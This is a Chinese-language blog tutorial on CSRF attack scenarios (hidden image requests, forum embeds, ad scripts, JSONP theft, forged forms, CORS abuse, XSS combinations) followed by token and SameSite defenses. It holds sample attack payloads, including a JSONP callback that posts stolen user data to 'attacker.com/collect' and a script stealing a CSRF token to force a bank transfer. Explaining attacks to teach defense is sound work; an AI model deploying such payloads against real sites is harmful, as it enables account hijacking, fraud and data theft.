您现在的位置是:网站首页 > CSRF 攻击的典型场景文章详情

CSRF 攻击的典型场景

CSRF 攻击的基本原理

CSRF(Cross-Site Request Forgery)跨站请求伪造是一种利用用户已登录状态发起的恶意攻击。攻击者诱导用户访问恶意页面时,该页面会向目标网站发送请求,由于浏览器会自动携带用户的Cookie等身份凭证,目标网站会认为这是用户自愿发起的合法请求。

关键点在于:

  1. 用户已登录目标网站
  2. 目标网站仅依赖Cookie等自动携带的凭证验证身份
  3. 攻击者可以预测或构造请求参数
// 恶意网站中的攻击代码
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">

典型场景一:社交工程诱导

攻击者通过社交平台发送伪装成正常链接的恶意URL:

  1. 伪装成抽奖活动:"点击领取你的iPhone 15 Pro!"
  2. 伪装成好友消息:"看看我们的聚会照片"
  3. 伪装成系统通知:"您的账户存在异常,请立即验证"
<!-- 伪装成图片的转账请求 -->
<a href="https://malicious.site">
  <img src="https://bank.com/transfer?to=attacker&amount=5000" alt="搞笑图片">
</a>

典型场景二:论坛图片嵌入

攻击者在允许用户发布HTML内容的论坛或评论区植入恶意代码:

<!-- 看似无害的评论内容 -->
"这个教程很有帮助!<img src='https://social-site.com/follow?user=hacker' style='display:none'>"

当其他登录用户浏览该页面时,会自动发送关注请求,而用户完全不知情。

典型场景三:恶意广告注入

攻击者购买广告位或入侵广告网络,投放包含CSRF攻击代码的广告:

// 广告中的恶意脚本
<script>
  fetch('https://shopping-site.com/add-to-cart', {
    method: 'POST',
    body: JSON.stringify({productId: 666, quantity: 100}),
    credentials: 'include'
  });
</script>

典型场景四:第三方插件漏洞

利用网站集成的第三方插件漏洞发起CSRF攻击:

// 恶意构造的JSONP请求
<script src="https://api.vulnerable-site.com/userdata?callback=stealData"></script>
<script>
  function stealData(data) {
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  }
</script>

典型场景五:跨站表单提交

攻击者构造一个与目标网站相似的页面,诱导用户提交表单:

<!-- 伪装成登录页的表单 -->
<form action="https://bank.com/change-email" method="POST">
  <input type="hidden" name="email" value="hacker@example.com">
  <input type="submit" value="领取优惠券">
</form>

防御措施实现示例

同步令牌模式

// 服务端生成并返回令牌
const csrfToken = generateSecureToken();
res.cookie('XSRF-TOKEN', csrfToken);

// 前端在请求中携带令牌
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-XSRF-TOKEN': getCookie('XSRF-TOKEN')
  }
});

双重Cookie验证

// 前端代码
const token = generateToken();
document.cookie = `CSRF-TOKEN=${token}`;

// 发送请求时自动携带
axios.interceptors.request.use(config => {
  config.headers['X-CSRF-TOKEN'] = getCookie('CSRF-TOKEN');
  return config;
});

现代框架的防护机制

React示例

// 配合Express的csurf中间件
import { useEffect } from 'react';

function TransferForm() {
  const [csrfToken, setCsrfToken] = useState('');
  
  useEffect(() => {
    fetch('/csrf-token')
      .then(res => res.json())
      .then(data => setCsrfToken(data.token));
  }, []);

  return (
    <form>
      <input type="hidden" name="_csrf" value={csrfToken} />
      {/* 其他表单字段 */}
    </form>
  );
}

Angular示例

// HttpClient拦截器
@Injectable()
export class CsrfInterceptor implements HttpInterceptor {
  intercept(req: HttpRequest<any>, next: HttpHandler) {
    const token = this.tokenService.getToken();
    const authReq = req.clone({
      headers: req.headers.set('X-CSRF-TOKEN', token)
    });
    return next.handle(authReq);
  }
}

实际案例分析

2021年某电商平台CSRF漏洞导致的大规模优惠券滥用事件:

  1. 攻击流程:
    • 平台优惠券领取接口仅验证登录状态
    • 攻击者构造领取请求并散布到社交平台
    • 用户访问恶意页面时自动领取并转赠优惠券
// 实际攻击代码片段
const couponIds = [1001, 1002, 1003];
couponIds.forEach(id => {
  new Image().src = `https://mall.com/coupon/claim?id=${id}&transferTo=attacker`;
});

高级攻击变种

基于Flash的CSRF

// 恶意Flash文件中的代码
var request:URLRequest = new URLRequest("https://bank.com/transfer");
request.method = URLRequestMethod.POST;
request.data = new URLVariables("to=hacker&amount=5000");
navigateToURL(request, "_self");

跨源资源共享滥用

// 针对配置不当的CORS策略
fetch('https://api.vulnerable-site.com/sensitive-data', {
  method: 'GET',
  credentials: 'include'
})
.then(response => response.json())
.then(data => sendToAttacker(data));

浏览器安全策略的影响

SameSite Cookie属性的三种模式:

  1. Strict:完全禁止跨站携带
  2. Lax:允许顶级导航的GET请求
  3. None:完全允许(需配合Secure)
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure

相关漏洞组合利用

CSRF与XSS组合攻击示例:

// 先通过XSS获取CSRF令牌
const script = document.createElement('script');
script.src = 'https://bank.com/account?callback=stealToken';
document.body.appendChild(script);

function stealToken(data) {
  // 使用获取的令牌发起CSRF攻击
  fetch('https://bank.com/transfer', {
    method: 'POST',
    headers: {
      'X-CSRF-Token': data.token
    },
    body: JSON.stringify({to: 'hacker', amount: 10000})
  });
}

我的名片

网名:~川~

岗位:console.log 调试员

坐标:重庆市-九龙坡区

邮箱:cc@qdcc.cn

沙漏人生

站点信息

  • 建站时间:2013/03/16
  • 本站运行
  • 文章数量
  • 总访问量
微信公众号
每次关注
都是向财富自由迈进的一步